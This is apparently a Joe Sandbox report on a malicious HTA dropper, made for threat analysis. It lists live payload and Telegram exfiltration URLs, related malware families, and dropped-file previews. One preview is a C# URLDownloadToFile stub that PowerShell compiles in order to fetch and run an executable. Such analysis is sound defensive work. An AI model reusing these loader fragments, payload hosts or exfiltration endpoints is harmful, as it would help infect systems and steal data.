http://23.95.235.28/120/csoss.ex	powershell.exe, 00000003.00000002.1400376615.0000000004B4A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.orgd	RegSvcs.exe, 00000007.00000002.2509390080.000000000258D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.000000000255E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://23.95.235.28/120/csoss.exeSs	powershell.exe, 00000003.00000002.1413448646.0000000007C72000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.189l	RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.comd	RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000003.00000002.1400376615.0000000004661000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	csoss.exe, 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1402259894.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189d	RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	RegSvcs.exe, 00000007.00000002.2509390080.000000000258D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.orgd	RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/d	RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1400376615.0000000004661000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot-/sendDocument?chat_id=	csoss.exe, 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	csoss.exe, 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
23.95.235.28	unknown	United States	36352	AS-COLOCROSSINGUS	true
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640151
Start date and time:	2025-03-17 01:17:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	needagoodplanforsuccesstogetbackbest.hta
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winHTA@14/15@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 58 Number of non-executed functions: 269
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:19:00	API Interceptor	39x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	345623.bat	Get hash	malicious	DBatLoader, FormBook	Browse	www.shlomi.app/9rzh/
	ySUB97Jq80.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.shlomi.app/9rzh/
	hQaXUS5gt0.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/
	6nA8ZygZLP.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	UhuGtHUgHf.exe	Get hash	malicious	FormBook	Browse	www.enoughmoney.online/z9gb/
	Bill_of_Lading_20250307_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	Stormwater Works Drawings Spec.js	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	Shipment Delivery No DE0093002-PDF.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	Remittance_CT022024.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/fix/five/fre.php
	http://microsoft-sharepoint4543464633.pages.dev/index-2jc93/	Get hash	malicious	HTMLPhisher	Browse	microsoft-sharepoint4543464633.pages.dev/index-2jc93/
23.95.235.28	APC2_240708172813545null_847608629.xls	Get hash	malicious	Unknown	Browse	23.95.235.28/xampp/rmo/rmn/needagoodplanforsuccesstogetbackbest.hta
	APC2_240708172813545null_847608629.xls	Get hash	malicious	Unknown	Browse	23.95.235.28/xampp/rmo/rmn/needagoodplanforsuccesstogetbackbest.hta
	FORMULARZ ODPRAWY CELNEJ DHL.xls	Get hash	malicious	Unknown	Browse	23.95.235.28/xampp/rmo/needagoodplanforsuccesstogetbackbest.hta
	efs.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	23.95.235.28/60/csso.exe
	dok PZ 2025-03-11_142242 fin_Orygina#U0142.xls	Get hash	malicious	Unknown	Browse	23.95.235.28/xampp/rsc/rc/efs.hta
	dok PZ 2025-03-11_142242 fin_Orygina#U0142.xls	Get hash	malicious	Unknown	Browse	23.95.235.28/xampp/rsc/rc/efs.hta
	uhg.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	23.95.235.28/50/csso.exe
	Neue Bestellung 236904.xls	Get hash	malicious	Unknown	Browse	23.95.235.28/xampp/rsc/uhg.hta
	Neue Bestellung 236904.xls	Get hash	malicious	Unknown	Browse	23.95.235.28/xampp/rsc/uhg.hta
	Bozza nuovo ordine 0010979742.xls	Get hash	malicious	Unknown	Browse	23.95.235.28/xampp/ugccs/yougetgoodthingswithbestadvantageforthis.hta

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	158.101.44.242
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	Ogdu1MivyN.exe	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	FVWbiG8vBc.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
	TOP20250252.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	QUOTATION_MARQUOTE312025PDF.scr.exe	Get hash	malicious	MSIL Logger	Browse	132.226.247.73
reallyfreegeoip.org	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.80.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	Ogdu1MivyN.exe	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	FVWbiG8vBc.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	TOP20250252.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	QUOTATION_MARQUOTE312025PDF.scr.exe	Get hash	malicious	MSIL Logger	Browse	104.21.16.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	JITZq92T28.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	12Kp1xbcjv.exe	Get hash	malicious	Unknown	Browse	104.21.32.1
	JITZq92T28.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	188.114.96.3
	jbJFtxTmyS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.72.57
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
AS-COLOCROSSINGUS	verynicegirlgivenmebestwordforgreatnesswithgoodthings.hta	Get hash	malicious	Unknown	Browse	192.3.95.138
	Build.exe	Get hash	malicious	StormKitty	Browse	23.94.126.116
	h2wb5_002.exe	Get hash	malicious	DarkVision Rat	Browse	104.168.28.10
	dBKUxeI.exe	Get hash	malicious	AsyncRAT, DarkVision Rat	Browse	104.168.28.10
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Xmrig	Browse	107.174.192.179
	earereallyniceloverwithgreatthingsonthatkissinggirlonme.hta	Get hash	malicious	Remcos	Browse	172.245.191.88
	goodmanwnatgoodthingsforbesthings.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	192.3.101.146
	Our Order.xls	Get hash	malicious	Unknown	Browse	198.12.89.24
	ienetstatgoodforkissing.hta	Get hash	malicious	Cobalt Strike, DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	192.227.228.22
	Proof of Payment and Statement.xls	Get hash	malicious	Unknown	Browse	192.227.228.22
ORACLE-BMC-31898US	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	158.101.44.242
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	FVWbiG8vBc.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
	TOP20250252.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	DHL Shipping Details Ref ID 4466331798008765975594-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	158.101.44.242
	ienetstatgoodforkissing.hta	Get hash	malicious	Cobalt Strike, DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	193.122.6.168
	7495 P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	SOA FEB 2025.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	158.101.44.242
	13.03.2025-13.03.2025 shtml.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	158.101.44.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	iCgb4kAWFh.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	SOA OF FEB 2025 PT.BINEX.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	Ogdu1MivyN.exe	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	FVWbiG8vBc.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	Extreme Injector v3.exe	Get hash	malicious	XWorm	Browse	104.21.48.1
	shit.exe.bin.exe	Get hash	malicious	Unknown	Browse	104.21.48.1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	980992
Entropy (8bit):	6.875555651887693
Encrypted:	false
SSDEEP:	24576:/u6J33O0c+JY5UZ+XC0kGso6Fa4aL34eprdWY:Ju0c++OCvkGs9Fa4aL341Y
MD5:	54DE0C8E192E7BC71B6D284FFF136296
SHA1:	F2AB671CBF4229C9C7EA12F01B148E470B6621E7
SHA-256:	D274A8FCA173BF675C950AAD9A3D09EF48DCE2522756BC6BEBA0E08DB8DCFC90
SHA-512:	5EE16D7EB2ED2B7CF85225ACC2FDB43144581CA54BB171FE129B5F2ABF5E067D1BFE9472616714BB869C7AC3765CCF22873F56F116BBFA6F1CEE37863D35F258
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}.r}.r}.4,".p}.....s}../..A}../#..}../".G}.{.@.{}.{.P.W}.r}.R....)."}.....s}../..s}.r}T.s}.....s}.Richr}.................PE..L...y..g.........."..................}............@..........................`............@...@.......@.....................L...\|....p...o.......................q...+..............................pH..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc....o...p...p..................@..@.reloc...q.......r..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	5.405945905705216
Encrypted:	false
SSDEEP:	24:3K1yt4WSKco4KmM6GjKbmOIKo+mN1s4RPQoU99t7J0gt/NK3R8UHrgtq:sy+WSU4Yymp+ms4RIoU99tK8NWR8WP
MD5:	B14C2335AAE9A3377664B1241901B608
SHA1:	26671759F4E4DF97B4FCBF96A378A3809F685FD1
SHA-256:	644A49D980BCA8A3C180B6EEC207B61A82CABA4B9FBB0D6E804D5ED9EB036E1A
SHA-512:	ED719AA3C7D26560B1415C824451206F3AF1CDCB3BA4402CD7733209890759B7A2FA3822D53FDC39C899CD65F3ECEF39ABBE8E648282D189B54FFE26F33EAF6E
Malicious:	false
Reputation:	low
Preview:	@...e.................................^..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (360)
Category:	dropped
Size (bytes):	479
Entropy (8bit):	3.750991504160988
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuUedyk0mdOmMGlvQXReKJ8SRHy4H4Qm4m1mvlmOwmQy:V/DTLDfuDdOdXfHa6LQy
MD5:	B49F3695D3B07F65D78DF9AA701DCD7B
SHA1:	DF0C9DA5C709077F924EF7E102F7DC50D3FA4842
SHA-256:	71CFC2436BEB146574A1291ED463156F17EC292807A8F2FFF24CE178387D9B99
SHA-512:	E56732AAE2DBAC65F0CEB25E50DB3BDB64D46027EBF3D40A500104DCC1E7BFEC958BED542A44A3BB974422F4AA4EE6D61B8C817DC55B6D62BF33F4B6D60E95EF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace VGVao.{. public class TGNDoGqCKG. {. [DllImport("urLMon", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr gWQipMDGdr,string jgk,string EizcMHvvBZ,uint r,IntPtr E);.. }..}.

C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (372), with no line terminators
Category:	dropped
Size (bytes):	375
Entropy (8bit):	5.224666411547813
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2N723fE8ssUzxs7+AEszIN723fE8s+x:p37Lvkmb6K2an8WZETan/x
MD5:	08093A3BF1DB6BE2914EACF06DEEAFAD
SHA1:	4E4D280B642B27038A402BBCA66F55C72A735512
SHA-256:	8EAD6F72DEA4498C5FC6CF7271DD1538248DE75C512242EF5AA6A0A5B8893FB2
SHA-512:	6F8DF4EC625DBEA9B91D2D75BEC017EACAE1E949CB33F2D0668CF01E528592F2C38983719E97AACF213B7F3DA05D2C8E18E6255EEF1F270E7F45D0E02439128A
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.0.cs"

C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.820772974529545
Encrypted:	false
SSDEEP:	24:etGSSPBG5eM7p882uckX/befKsDtkZfgjrqhkWI+ycuZhNQakSsPNnq:6BsM+fa/KfKtJgjrEH1ulQa38q
MD5:	1A1F406192C4B1BB085A6715F8BF1619
SHA1:	E09A7734C346B5C6C969F562321BB8B78EC6F3FE
SHA-256:	16A101E773E5B552FB07BE025375ACEF1011CE3E37E57FC994149DF8860B57C5
SHA-512:	D14B9636392975A91E6152C40CA50E7AE474AAE2F8AC334F151EDEE7CD70449892CD5F490C2458BD2F925E4DE6795ACF885013C57CDB582117CF6252B51D2731
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{.g...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................8.1.....u.....u...........................".............. ?.....P ......Q.........W.....b.....f.....q.....s...Q.....Q...!.Q.....Q.......!............?.......................................(..........<Module>.43

C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (455), with CRLF, CR line terminators
Category:	modified
Size (bytes):	876
Entropy (8bit):	5.299403899878867
Encrypted:	false
SSDEEP:	24:KOuqd3ka6K2antETan/UKax5DqBVKVrdFAMBJTH:yika6CtE+/UK2DcVKdBJj
MD5:	CA10DB9E0651548E26556156B08E8E02
SHA1:	9ABA4D55D81C8F79722AEE86EFC9BAE21805BCCB
SHA-256:	7C8F7B8B1BFBC955F76BE8FDD6BF09148A7F536760BCCE22680140C58624985F
SHA-512:	52204A18D968461467777E00A589DA09313414F6128B411B97E3E484CBB8101135F4085087942F7343B69D02C79ADE5FDF9D70D2BB8301E27CBF0015F0354B1B
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\43swuu3x\CSC1706E7A7601C443B9125CD5A3AB1B1B7.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.115537472240626
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryuak7YnqqsPN5Dlq5J:+RI+ycuZhNQakSsPNnqX
MD5:	B3F4CCED1657D1D4CD16A8A2A71152C7
SHA1:	54BA36E98D75FEFDE9AE49DEB8D76D420D5C2386
SHA-256:	CF01B14B11BA08B2828A76C10586A2C4FD56A3B54CD913389F4837AB726AA5CE
SHA-512:	7900FD73825DB472F13C28E02CCA90F91812BB19FEFA106AC9760B07B407DC381EF227671F0DFA01DD69D1B2FD2E962BC9C433B5CB2CA374D8961ECFA82106E0
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.3.s.w.u.u.3.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...4.3.s.w.u.u.3.x...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RESC5CF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Mon Mar 17 01:29:47 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	4.004559335950445
Encrypted:	false
SSDEEP:	24:HcK9oVa5eqaHMwKcjmfwI+ycuZhNQakSsPNnqSed:WI5efzK2mo1ulQa38qS+
MD5:	6127A2DE71F301ED60AD8F7B53BF2071
SHA1:	7BBA6478E1B163F74514A2FFCE741A5F30A49878
SHA-256:	D4B60FF184FC4E3403EAEC2689143DD946A2B628EF287E5B00A0ADB4D355B86C
SHA-512:	97F18A5805D450EBA15B3D01AB84F3F33A4CC399D83CDAF45DECADE767D61B7D6B512154DCB3FDD7A249F05F8CF4CC87AA4479E88877199287C6AEFB38D9ECD5
Malicious:	false
Preview:	L....{.g.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........W....c:\Users\user\AppData\Local\Temp\43swuu3x\CSC1706E7A7601C443B9125CD5A3AB1B1B7.TMP.....................W........R...........7.......C:\Users\user\AppData\Local\Temp\RESC5CF.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.3.s.w.u.u.3.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0hd1kehy.5nl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

